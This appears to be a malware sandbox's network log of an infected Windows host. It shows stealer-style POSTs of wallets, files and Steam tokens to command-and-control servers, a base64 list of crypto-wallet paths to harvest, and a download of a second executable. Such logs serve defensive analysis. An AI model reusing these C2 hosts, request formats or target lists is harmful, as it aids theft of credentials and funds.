Nov 17, 2024 01:38:54.562521935 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 17, 2024 01:38:55.395436049 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJK Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 01:38:56.182559013 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 01:38:56.240716934 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFCBKJDBFIJKFHIIDAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 2d 2d 0d 0a Data Ascii: ------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="message"wallets------ECFCBKJDBFIJKFHIIDAA--
Nov 17, 2024 01:38:56.524424076 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 17, 2024 01:38:56.529623032 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAAFCAKKKFBFIDGDBFH Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 41 46 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------CAAAFCAKKKFBFIDGDBFHContent-Disposition: form-data; name="message"files------CAAAFCAKKKFBFIDGDBFH--
Nov 17, 2024 01:38:56.812055111 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 01:38:56.823591948 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="file"------KKEBKJJDGHCBGCAAKEHD--
Nov 17, 2024 01:38:57.598632097 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 01:38:57.628832102 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="message"ybncbhylepme------BAAAAKJKJEBGHJKFHIDG--
Nov 17, 2024 01:38:57.911649942 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	56852	185.215.113.16	80	6252	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 01:38:57.920615911 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 17, 2024 01:38:58.832746029 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 00:38:58 GMT Content-Type: application/octet-stream Content-Length: 3167744 Last-Modified: Sun, 17 Nov 2024 00:20:43 GMT Connection: keep-alive ETag: "673936db-305600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 60 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf`0@00@WkHG0F0 @.rsrcH@.idata @ssoyctxs))@dfcyajlhP000@.taggant0`0"40@
Nov 17, 2024 01:38:58.832782030 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 01:38:58.832806110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 01:38:58.832840919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 01:38:58.832858086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 01:38:58.832870007 CET	636	IN	Data Raw: 78 cc ff 90 b1 49 fe e8 eb 49 43 ad 7e b2 13 11 07 8c ba e8 cb 5c 26 27 43 30 64 0c 44 08 e8 d8 79 cc ff 90 11 49 fe e8 eb 49 43 ad 7e b2 03 11 c7 8c ba e8 cb 84 26 27 43 30 44 0c 44 08 e8 f8 79 cc ff 90 f1 49 fe e8 eb 49 43 ad 7e b2 03 11 b7 8c Data Ascii: xIIC~\&'C0dDyIIC~&'C0DDyIIC~'C0DyQIIC~$'C0D~1IIC~G'C0DX~JIC~/<'C0Dx~qJIC~['C0$DJIC~W
Nov 17, 2024 01:38:58.832879066 CET	1236	IN	Data Raw: 44 08 e8 b8 70 cc ff 90 31 47 fe e8 eb 49 43 ad 7e b2 fb 10 af 8b ba e8 cb 6c 29 27 43 30 e4 11 44 08 e8 58 70 cc ff 90 91 48 fe e8 eb 49 43 ad 7e b2 f7 10 e7 8b ba e8 cb 3c 29 27 43 30 c4 11 44 08 e8 78 70 cc ff 90 71 48 fe e8 eb 49 43 ad 7e b2 Data Ascii: Dp1GIC~l)'C0DXpHIC~<)'C0DxpqHIC~)'C0$DrHIC~s#'C0D8qHIC~%'C0dDvHIC~'C0DDvHIC~'C0DvQHIC~
Nov 17, 2024 01:38:58.832889080 CET	212	IN	Data Raw: db 8d ba e8 cb 5c 23 27 43 30 a4 07 44 08 e8 98 a2 cc ff 90 51 64 fe e8 eb 49 43 ad 7e b2 07 11 cf 8d ba e8 cb 44 25 27 43 30 84 07 44 08 e8 b8 a3 cc ff 90 31 64 fe e8 eb 49 43 ad 7e b2 07 11 7b 8d ba e8 cb 9c 0f 27 43 30 e4 06 44 08 e8 58 a3 cc Data Ascii: \#'C0DQdIC~D%'C0D1dIC~{'C0DXaIC~w'C0DxqaIC~%'C0$DaIC~'C0D8aIC~;'C0dD
Nov 17, 2024 01:38:58.833024979 CET	1236	IN	Data Raw: 11 61 fe e8 eb 49 43 ad 7e b2 fb 10 33 90 ba e8 cb fc 10 27 43 30 44 04 44 08 e8 f8 a1 cc ff 90 f1 61 fe e8 eb 49 43 ad 7e b2 bf 10 2b 90 ba e8 cb 64 22 27 43 30 a4 04 44 08 e8 98 a1 cc ff 90 51 61 fe e8 eb 49 43 ad 7e b2 07 11 ef 90 ba e8 cb cc Data Ascii: aIC~3'C0DDaIC~+d"'C0DQaIC~'C0D1aIC~$'C0DXbIC~('C0DxqbIC~t'C0$DbIC~;'C0D8bIC~7$
Nov 17, 2024 01:38:58.833051920 CET	1236	IN	Data Raw: 43 30 04 08 44 08 e8 38 93 cc ff 90 b1 5e fe e8 eb 49 43 ad 7e b2 f7 10 cb 94 ba e8 cb 34 10 27 43 30 64 09 44 08 e8 d8 90 cc ff 90 11 5e fe e8 eb 49 43 ad 7e b2 07 11 77 94 ba e8 cb cc 22 27 43 30 44 09 44 08 e8 f8 90 cc ff 90 f1 5e fe e8 eb 49 Data Ascii: C0D8^IC~4'C0dD^IC~w"'C0DD^IC~'C0DQ^IC~zh TC~ozh TC~Ozh TC~$#'C0D[IC~<'C0D8[IC~vh5 TC
Nov 17, 2024 01:38:58.837878942 CET	1236	IN	Data Raw: 7e bb 88 8d c1 34 03 6c ff 1c 67 bb 8d 25 54 11 47 08 be e8 bf cb 4b 19 9b b0 ed e9 42 54 43 ad 7e bb 88 8d f4 91 4e ee f5 48 82 27 47 b8 3c e7 b6 0b bb e8 24 15 2e e9 b9 cb 07 6a 82 0c b0 90 9e f9 00 e9 c1 4c 07 a6 44 9c fd 23 43 91 3d 1f f0 4a Data Ascii: ~4lg%TGKBTC~NH'G<$.jLD#C=J~TC~TC~TC~NH'G<$.jLDd#C=J~TC~TC~TC~i}%xMO7}2;q\|}"TC~TC~?FD~TC~TC~4H6QK$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	56882	185.215.113.206	80	6252	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 01:39:02.848793030 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 2d 2d 0d 0a Data Ascii: ------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHIDBKFCAAEBFIDHDBAE--
Nov 17, 2024 01:39:04.267611980 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:39:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	56906	185.215.113.43	80	9180	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 01:40:04.985869884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 17, 2024 01:40:05.898375988 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 00:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	56907	185.215.113.43	80	9180	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 01:40:07.412831068 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 17, 2024 01:40:08.315146923 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 00:40:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 36 37 38 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 37 38 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 36 37 38 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 36 37 38 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f 